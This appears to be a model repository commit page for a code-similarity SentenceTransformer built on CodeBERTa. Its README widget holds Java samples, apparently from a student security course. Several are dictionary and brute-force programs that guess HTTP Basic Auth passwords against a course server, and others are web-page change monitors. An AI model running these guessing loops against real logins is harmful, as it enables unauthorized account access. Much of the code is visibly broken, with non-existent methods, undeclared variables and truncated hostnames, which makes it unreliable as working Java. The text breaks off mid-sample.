Add new SentenceTransformer model
Browse files- 1_Pooling/config.json +10 -0
- README.md +996 -0
- config.json +26 -0
- config_sentence_transformers.json +10 -0
- merges.txt +0 -0
- model.safetensors +3 -0
- modules.json +14 -0
- sentence_bert_config.json +4 -0
- special_tokens_map.json +51 -0
- tokenizer.json +0 -0
- tokenizer_config.json +59 -0
- vocab.json +0 -0
1_Pooling/config.json
ADDED
@@ -0,0 +1,10 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"word_embedding_dimension": 768,
|
3 |
+
"pooling_mode_cls_token": false,
|
4 |
+
"pooling_mode_mean_tokens": true,
|
5 |
+
"pooling_mode_max_tokens": false,
|
6 |
+
"pooling_mode_mean_sqrt_len_tokens": false,
|
7 |
+
"pooling_mode_weightedmean_tokens": false,
|
8 |
+
"pooling_mode_lasttoken": false,
|
9 |
+
"include_prompt": true
|
10 |
+
}
|
README.md
ADDED
@@ -0,0 +1,996 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
---
|
2 |
+
tags:
|
3 |
+
- sentence-transformers
|
4 |
+
- sentence-similarity
|
5 |
+
- feature-extraction
|
6 |
+
- generated_from_trainer
|
7 |
+
- dataset_size:33411
|
8 |
+
- loss:BatchAllTripletLoss
|
9 |
+
base_model: huggingface/CodeBERTa-small-v1
|
10 |
+
widget:
|
11 |
+
- source_sentence: "\n\n\npublic class PasswordGen {\n \n private int iLastSeed\
|
12 |
+
\ = 0;\n private int iPasswordLength = 3;\n private String strPassword;\n\
|
13 |
+
\ \n \n public PasswordGen() {\n strPassword = \"\";\n }\n\
|
14 |
+
\ \n public boolean setSeed(int iSeedVal) {\n iLastSeed = iSeedVal;\n\
|
15 |
+
\ return true;\n }\n \n public String getPassword() {\n \
|
16 |
+
\ return strPassword;\n }\n \n public String getPassword(int iSeed)\
|
17 |
+
\ {\n int iRemainder, iAliquot, i;\n int arrChars[];\n boolean\
|
18 |
+
\ fDone;\n \n \n \n arrChars = new int[iPasswordLength];\n\
|
19 |
+
\ for(i = 0; i<iPasswordLength; i++)\n arrChars[i] = 0;\n\
|
20 |
+
\n fDone = false;\n iAliquot = iSeed;\n i=0;\n while(!fDone)\
|
21 |
+
\ {\n iRemainder = iAliquot % 52;\n if(iRemainder == 0)\
|
22 |
+
\ iRemainder=52;\n iAliquot = iAliquot / 52;\n \n \
|
23 |
+
\ arrChars[i] = iRemainder;\n if(i<iPasswordLength) i++;\n \
|
24 |
+
\ if(iAliquot == 0)\n fDone = true;\n }\n \
|
25 |
+
\ \n strPassword = convertPassword(arrChars);\n \n return\
|
26 |
+
\ strPassword;\n }\n \n public String getNextPassword() {\n iLastSeed++;\n\
|
27 |
+
\ strPassword = getPassword(iLastSeed);\n return strPassword;\n\
|
28 |
+
\ }\n \n private String convertPassword(int[] chars) {\n String strPwd;\n\
|
29 |
+
\ int i;\n \n strPwd = \"\";\n \n for(i=0;\
|
30 |
+
\ i<iPasswordLength; i++)\n {\n \n if(chars[i] !=\
|
31 |
+
\ 0)\n {\n if (chars[i] < 27)\n {\n \
|
32 |
+
\ strPwd += new Character((char)(chars[i]+64)).toString();\n\
|
33 |
+
\ }\n else\n {\n \
|
34 |
+
\ strPwd += new Character((char)(chars[i]+70)).toString();\n \
|
35 |
+
\ }\n }\n }\n return strPwd;\n }\n}\n"
|
36 |
+
sentences:
|
37 |
+
- "import java.io.*;\n\n\npublic class WatchDog\n{\npublic static void main (String[]\
|
38 |
+
\ args)\n{ String isdiff = new String();\n String[] cmd1 = {\"//sh\"\
|
39 |
+
,\"-c\",\"diff newfile.html oldfile.html > diff.txt\"};\n String[] cmd2\
|
40 |
+
\ = {\"//sh\",\"-c\",\"mailx -s \\\"Web Changed\\\" \\\"@cs.rmit.edu.\\\" < diff.txt\"\
|
41 |
+
};\n\n try {\n\n\n while(true)\n {\n Runtime.getRuntime().exec(\"\
|
42 |
+
wget http://www.cs.rmit.edu./students/ -O oldfile.html\");\n Thread.sleep(43200000);\n\
|
43 |
+
\ Thread.sleep(43200000);\n Runtime.getRuntime().exec(\"\
|
44 |
+
wget http://www.cs.rmit.edu./students/ -O newfile.html\");\n Thread.sleep(2000);\n\
|
45 |
+
\ Runtime.getRuntime().exec(cmd1);\n Thread.sleep(2000);\n\
|
46 |
+
\ BufferedReader diff = new BufferedReader(new FileReader(\"diff.txt\"\
|
47 |
+
));\n if ((isdiff=diff.readLine()) != null)\n {\n \
|
48 |
+
\ Runtime.getRuntime().exec(cmd2);\n System.out.println(\"\
|
49 |
+
Change Detected & Email Send\");\n }\n diff.print();\n\
|
50 |
+
\ }\n }\n\n catch (IOException err)\n {\n \
|
51 |
+
\ err.printStackTrace();\n }\n\n catch (InterruptedException\
|
52 |
+
\ err)\n {\n err.printStackTrace();\n }\n\n}\n\n\n}"
|
53 |
+
- "import java.io.*;\nimport java.net.*;\nimport java.util.*;\nimport java.*;\n\n\
|
54 |
+
\npublic class WatchDog {\n\n\npublic static final int interval = 79200000;\n\n\
|
55 |
+
public static void main(String[] args) {\n WatchDog wd = new WatchDog();\n\
|
56 |
+
\ Thread thread = new Thread();\n URLConnection conn = null;\n DataInputStream\
|
57 |
+
\ data = null;\n DataInputStream in = null;\n String line;\n String lines;\n\
|
58 |
+
\ String buffer = new String();\n String buffers = new String();\n String\
|
59 |
+
\ url = new String(\"http://www.cs.rmit.edu./students/\");\n boolean change;\n\
|
60 |
+
\ttry{\n\tURL myurl = new URL(url);\n conn = myurl.openConnection();\n\
|
61 |
+
\ conn.connect();\n Object content = null;\n \n System.out.println(\"\
|
62 |
+
Connection opened......\");\n System.out.println(\"Retrieving data from\
|
63 |
+
\ URL\");\n data = new DataInputStream(new BufferedInputStream(conn.getInputStream()));\n\
|
64 |
+
\ System.out.println(\" data from the URL......\");\n content =\
|
65 |
+
\ myurl.getContent();\n BufferedReader reader = null;\n\treader = new BufferedReader(new\
|
66 |
+
\ InputStreamReader((InputStream) content));\n\n \n while ((line\
|
67 |
+
\ = data.readLine()) != null)\n\n {\n System.out.println(line);\n\
|
68 |
+
\ FileWriter outnew = new FileWriter(\"watchdogresult.html\");\n \
|
69 |
+
\ outnew.write(line);\n }\n System.out.println(\"Waiting for\
|
70 |
+
\ any change....\");\n thread.sleep(79200000);\n conn = myurl.openConnection();\n\
|
71 |
+
\ conn.connect();\n in = new DataInputStream(new BufferedInputStream(conn.getInputStream()));\n\
|
72 |
+
\ while ((lines = in.readLine()) != null)\n {\n\n\t FileWriter newf\
|
73 |
+
\ = new FileWriter(\"watchdogresult.tmp\");\n newf.write(buffers);\n \
|
74 |
+
\ }\n\tchange = true;\n if(change);\n else{\n\tchange = false;\n\
|
75 |
+
\ \n\twd.mail();\n\t}\n}\n catch (InterruptedException e) {}\n catch (IOException\
|
76 |
+
\ e) {\n e.printStackTrace();\n String r = new String(e.getMessage());\n\
|
77 |
+
\ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n }\n\
|
78 |
+
\ else\n System.out.println(\"Other problems\");\n }\n }\n\n\npublic\
|
79 |
+
\ void mail(){\n\n try {\n\n String from = new String(\"Watchdog Reporter\"\
|
80 |
+
);\n String email = new String(\"@cs.rmit.edu.\");\n String subject\
|
81 |
+
\ = new String(\" is a change in \");\n\n \n URL u = new URL(\"mailto:\"\
|
82 |
+
\ + email);\n URLConnection c = u.openConnection();\n c.setDoInput(false);\n\
|
83 |
+
\ c.setDoOutput(true);\n System.out.println(\"Connecting...\");\n \
|
84 |
+
\ System.out.flush();\n c.connect();\n PrintWriter out =\n \
|
85 |
+
\ new PrintWriter(new OutputStreamWriter(c.getOutputStream()));\n\n \n \
|
86 |
+
\ out.println(\"From: \\\"\" + from + \"\\\" <\" +\n System.getProperty(\"\
|
87 |
+
user.name\") + \"@\" +\n InetAddress.getLocalHost().getHostName()\
|
88 |
+
\ + \">\");\n out.println(\": \" );\n out.println(\"Subject: \" + subject);\n\
|
89 |
+
\ out.println(); \n\n \n String line = new String(\"Watchdog observe\
|
90 |
+
\ that is a change in the web .\");\n out.close();\n System.out.println(\"\
|
91 |
+
Message sent.\");\n System.out.flush();\n }\n catch (Exception e) {\n\
|
92 |
+
\ System.err.println(e);\n }\n\n }\n\n}\n\n"
|
93 |
+
- "\n\nimport java.io.BufferedReader;\nimport java.io.FileReader;\n\nimport org.apache.commons.httpclient.HttpClient;\n\
|
94 |
+
import org.apache.commons.httpclient.UsernamePasswordCredentials;\nimport org.apache.commons.httpclient.cookie.CookiePolicy;\n\
|
95 |
+
import org.apache.commons.httpclient.methods.GetMethod;\n\n\n\n\npublic class\
|
96 |
+
\ Dictionary{\n static final String LOGON_SITE_HACKER = DictionaryPropertyHelper.getProperty(\"\
|
97 |
+
logonSite\");\n static final int LOGON_PORT_HACKER = Integer.valueOf(DictionaryPropertyHelper.getProperty(\"\
|
98 |
+
logonPort\")).intValue();\n\tstatic final String cad = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklumnopqrstuvwxyz\"\
|
99 |
+
;\n\n static final int USE_PROXY_SERVER = Integer.valueOf(DictionaryPropertyHelper.getProperty(\"\
|
100 |
+
useProxyServer\")).intValue();\n static final int PROXY_PORT = Integer.valueOf(DictionaryPropertyHelper.getProperty(\"\
|
101 |
+
proxyPort\")).intValue();\n\n static final String PROXY_SERVER = DictionaryPropertyHelper.getProperty(\"\
|
102 |
+
proxyServer\");\n static final String PROXY_USENAME = DictionaryPropertyHelper.getProperty(\"\
|
103 |
+
proxyUserName\");\n static final String PROXY_PASSWORD = DictionaryPropertyHelper.getProperty(\"\
|
104 |
+
proxypassword\");\n\n\n\n static final String GET_METHOD_HACKER = DictionaryPropertyHelper.getProperty(\"\
|
105 |
+
getMethod\");\n static final int NUMBER_OF_GETS_BEFORE_RELEASE = Integer.valueOf(DictionaryPropertyHelper.getProperty(\"\
|
106 |
+
numberOfGetsBeforeReleaseConnection\")).intValue();\n\n\n public Dictionary()\
|
107 |
+
\ {\n super();\n }\n\n\n\n\n\n public static void main(String[] args)\
|
108 |
+
\ throws Exception {\n\n\t\tString statusLine = \" \";\n\t\tint count = 0;\n\t\
|
109 |
+
\tint divValue = 0;\n\n\t\tString userName = \"\";\n\t\tString password = \"\"\
|
110 |
+
;\n\n\n HttpClient client = new HttpClient();\n\n if (USE_PROXY_SERVER\
|
111 |
+
\ == 1) {\n \t\t\tclient.getHostConfiguration().setProxy(PROXY_SERVER, PROXY_PORT);\n\
|
112 |
+
\ \t\t\tclient.getState().setProxyCredentials(null, null, new UsernamePasswordCredentials(PROXY_USENAME,\
|
113 |
+
\ PROXY_PASSWORD));\n\n }\n client.getState().setCookiePolicy(CookiePolicy.COMPATIBILITY);\n\
|
114 |
+
\ client.getHostConfiguration().setHost(LOGON_SITE_HACKER, LOGON_PORT_HACKER,\
|
115 |
+
\ \"http\");\n GetMethod getMethod = new GetMethod(GET_METHOD_HACKER);\n\
|
116 |
+
\n\n\n\t\t\n \tBufferedReader wordFile = new BufferedReader(new FileReader(DictionaryPropertyHelper.getProperty(\"\
|
117 |
+
dictionaryFile\")));\n\n\t\twhile ((password = wordFile.readLine()) != null) {\n\
|
118 |
+
\n\n\t\t\tif (validateWord(password)) {\n\n\t\t\t\tclient.getState().setCredentials(null,\
|
119 |
+
\ null, new UsernamePasswordCredentials(userName, password));\n\t\t\t\t++count;\n\
|
120 |
+
\t\t\t\tSystem.out.println(\" Counter \" + count + \" Password \" + password);\n\
|
121 |
+
\n\t\t\t\tdivValue = count % NUMBER_OF_GETS_BEFORE_RELEASE;\n\n\t\t\t\tif (divValue\
|
122 |
+
\ == 0) {\n\n\n\n\t\t\t\t\tSystem.out.println(\"Count: \"+ count + \" Div Value:\
|
123 |
+
\ \"+ divValue+ \" Releasing the connection and getting new one\");\n\t\t\t\t\t\
|
124 |
+
getMethod.releaseConnection();\n\t\t\t\t\tgetMethod = null;\n\t\t\t\t\tgetMethod\
|
125 |
+
\ = new GetMethod(GET_METHOD_HACKER);\n\n\t\t\t\t}\n\n\t\t client.executeMethod(getMethod);\n\
|
126 |
+
\n\t\t statusLine = getMethod.getStatusLine().toString();\n\n\n\t\t\t\t\
|
127 |
+
\n\t\t\t\t\n\n\t\t\t\tif (statusLine.compareTo(\"HTTP/1.1 200 OK\") == 0) {\n\n\
|
128 |
+
\n\t\t\t\t\tSystem.out.println(\"Found the user name and password for the site.\
|
129 |
+
\ The username is: \"+ userName+ \" and the password is: \"+ password);\n\n\n\t\
|
130 |
+
\t\t\t\tSystem.exit(0);\n\t\t\t\t}\n\n\n\t\t\t}\n\n\t\t}\n\n\t\tSystem.out.println(\"\
|
131 |
+
Could not find the password!\");\n\n }\n\n\n\n\t\n\tpublic static boolean validateWord(String\
|
132 |
+
\ str) {\n\n\t\n\n\n\t\tboolean isValid = false;\n\n\t\t\n\t\tif (str.length()\
|
133 |
+
\ > 3) {\n\t\t\treturn isValid;\n\t\t}\n\n\t\tfor (int i = 0; i < str.length();\
|
134 |
+
\ i++) {\n\t\t\tfor (int j = 0; j < cad.length(); j++) {\n\t\t\t\tif (str.charAt(i)\
|
135 |
+
\ == cad.charAt(j)) {\n\t\t\t\t\tisValid = true;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\
|
136 |
+
\t\t\t\telse\n\t\t\t\t\tisValid = false;\n\t\t\t}\n\t\t\tif (!isValid)\n\t\t\t\
|
137 |
+
\tbreak;\n\t\t}\n\t\treturn isValid;\n\t}\n\n\n}\n"
|
138 |
+
- source_sentence: "\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\
|
139 |
+
\npublic class MyWatchDogTimer extends TimerTask\n{\n\tpublic void run()\n\t{\n\
|
140 |
+
\t Runtime rt = Runtime.getRuntime();\n\t Process prss= null;\n\t String initialmd5,presentmd5,finalmd5,temp1;\n\
|
141 |
+
\ String mesg1 = new String();\n String subject = new String(\"\
|
142 |
+
Report of WatchDog\");\n\n\t int i;\n \n\t try\n {\n\n \
|
143 |
+
\ prss = rt.exec(\"md5sum first.html\");\n\n InputStreamReader\
|
144 |
+
\ instre1 = new InputStreamReader(prss.getInputStream());\n BufferedReader\
|
145 |
+
\ bufread1 = new BufferedReader(instre1);\n\t\t \n sw = bufread1.readLine();\n\
|
146 |
+
\t i = finalmd5.indexOf(' ');\n\t initialmd5 = finalmd5.substring(0,i);\n\
|
147 |
+
\t System.out.println(\"this is of first.html--->\"+initialmd5);\n\t\t \
|
148 |
+
\ \n\n\t\t \n prss = rt.exec(\"wget -R mpg,mpeg, --output-document=present.html\
|
149 |
+
\ http://www.cs.rmit.edu./students/\");\n\n\t\t \n prss = rt.exec(\"\
|
150 |
+
md5sum present.html\");\n\t\t \n InputStreamReader instre2 = new\
|
151 |
+
\ InputStreamReader(prss.getInputStream());\n BufferedReader bufread2\
|
152 |
+
\ = new BufferedReader(instre2);\n\t\t \n\t temp1 = bufread2.readLine();\n\
|
153 |
+
\t i = temp1.indexOf(' ');\n\t presentmd5 = temp1.substring(0,i);\n\t\
|
154 |
+
\ System.out.println(\"this is of present.html---->\"+presentmd5);\n\t\t\n\
|
155 |
+
\ \n if(initialmd5.equals(presentmd5))\n \
|
156 |
+
\ System.out.println(\"The checksum found using md5sum is same\");\n\t\t else\n\
|
157 |
+
\t\t {\n\t\t prss = rt.exec(\"diff first.html present.html > diff.html\"\
|
158 |
+
);\n System.out.println(\" is different\"); \n \
|
159 |
+
\ prss = null;\n mesg1 =\"php mail.php\";\n\t\t \
|
160 |
+
\ prss = rt.exec(mesg1);\n\t\t } \n\n prss = rt.exec(\"\
|
161 |
+
rm present.*\");\n\n \t }catch(java.io.IOException e){}\n\n }\n\
|
162 |
+
}\t\t\n"
|
163 |
+
sentences:
|
164 |
+
- "import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport\
|
165 |
+
\ javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\t\
|
166 |
+
public static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\
|
167 |
+
\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\t\
|
168 |
+
Runtime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader\
|
169 |
+
\ inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection =\
|
170 |
+
\ null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader(\"words\"\
|
171 |
+
);\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(\" cracking....\"\
|
172 |
+
);\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\
|
173 |
+
\n\t\t\t\tcmd = \"wget --http-user= --http-passwd=\"+word +\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
|
174 |
+
;\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\
|
175 |
+
\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\
|
176 |
+
\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith(\"Required\"))\n\t\t\t\t\t\t{\n\n\t\t\
|
177 |
+
\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\
|
178 |
+
\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch\
|
179 |
+
\ (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\
|
180 |
+
\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n \
|
181 |
+
\ catch (NullPointerException ex)\n {\n System.out.println(word);\n\
|
182 |
+
\ }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\
|
183 |
+
\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e)\
|
184 |
+
\ {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println(\"The password is\
|
185 |
+
\ :\" + word);\n else\n System.out.println(\"NOT FOUND!\");\n\
|
186 |
+
\t}\n}"
|
187 |
+
- "\n\nimport java.net.*;\nimport java.io.*;\n\t\n\nclass MyAuthenticator extends\
|
188 |
+
\ Authenticator {\n\n String password;\n\n public MyAuthenticator(String pwdin)\
|
189 |
+
\ {\n password = pwdin;\n }\n \n protected PasswordAuthentication\
|
190 |
+
\ getPasswordAuthentication(){\n\tString pwd = password;\n\treturn new PasswordAuthentication(\"\
|
191 |
+
\",pwd.toCharArray());\n }\n}\n"
|
192 |
+
- "\n\nimport java.net.*;\nimport java.io.*;\nimport java.io.IOException;\nimport\
|
193 |
+
\ java.util.*;\nimport java.*;\n\n\npublic class BruteForce {\n public static\
|
194 |
+
\ void main (String[] args) throws Exception {\n int maxChar = 26, counter=0,\
|
195 |
+
\ x =0, attempt =0 ;\n String guess = new String();\n String pass, inputLine;\n\
|
196 |
+
\ String letter[] = {\"\", \"a\", \"b\", \"c\", \"d\", \"e\", \"f\", \"g\"\
|
197 |
+
, \"h\", \"i\", \"j\", \"k\", \"l\", \"m\", \"n\", \"o\",\n \
|
198 |
+
\ \"p\", \"q\", \"r\", \"s\", \"t\", \"u\", \"v\", \"w\", \"x\", \"y\"\
|
199 |
+
, \"z\" , \"A\", \"B\", \"C\", \"D\", \"E\"\n , \"F\", \"\
|
200 |
+
G\", \"H\", \"I\", \"J\", \"K\", \"L\", \"M\", \"N\", \"O\", \"P\", \"Q\", \"\
|
201 |
+
R\", \"S\", \"T\", \"U\", \"V\",\n \"W\", \"X\", \"Y\", \"\
|
202 |
+
Z\"};\n\n boolean flag=false;\n\n System.out.println(System.currentTimeMillis()/1000);\n\
|
203 |
+
\n for (int i=0; i<maxChar ; i++){\n for (int\
|
204 |
+
\ j=0 ; j<maxChar ; j++){\n for (int k=0 ; k<maxChar ; k++){\n\
|
205 |
+
\ guess = letter[i]+letter[j]+letter[k];\n \
|
206 |
+
\ attempt++;\n System.out.println(guess);\n\
|
207 |
+
\ pass = \":\" + guess;\n \
|
208 |
+
\ String password = new bf.misc.BASE64Encoder().encode(pass.getBytes());\n\
|
209 |
+
\ try{\n URL u =\
|
210 |
+
\ new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n \
|
211 |
+
\ URLConnection yc = u.openConnection();\n \
|
212 |
+
\ yc.setRequestProperty(\"Authorization\",\" \"+password);\n \
|
213 |
+
\ BufferedReader in = new BufferedReader(new InputStreamReader(yc.getInputStream()));\n\
|
214 |
+
\ while ((inputLine = in.readLine()) != null)\n\
|
215 |
+
\ System.out.println(inputLine);\n \
|
216 |
+
\ in.print();\n System.out.println(guess);\n\
|
217 |
+
\ System.out.println(System.currentTimeMillis()/1000);\n\
|
218 |
+
\ System.out.println(\" of attempt: \"+attempt);\n\
|
219 |
+
\ System.exit(0);\n\n \
|
220 |
+
\ }catch(IOException e){ }\n }\n }\n\
|
221 |
+
\ }\n }\n}"
|
222 |
+
- source_sentence: "import java.io.*;\nimport java.net.*;\nimport java.*;\nimport\
|
223 |
+
\ java.Runtime.*;\nimport java.Object.*;\nimport java.util.*;\nimport java.util.StringTokenizer;\n\
|
224 |
+
\npublic class Dictionary \n{\n String uname = \"\";\n String pword = \"null\"\
|
225 |
+
;\n Vector v = new Vector();\n int runTime;\n public void doConnect(String\
|
226 |
+
\ connect, int num)\n {\n String = connect;\n \n try\n {\n \
|
227 |
+
\ URL secureSite = new URL();\n URLConnection connection = secureSite.openConnection();\n\
|
228 |
+
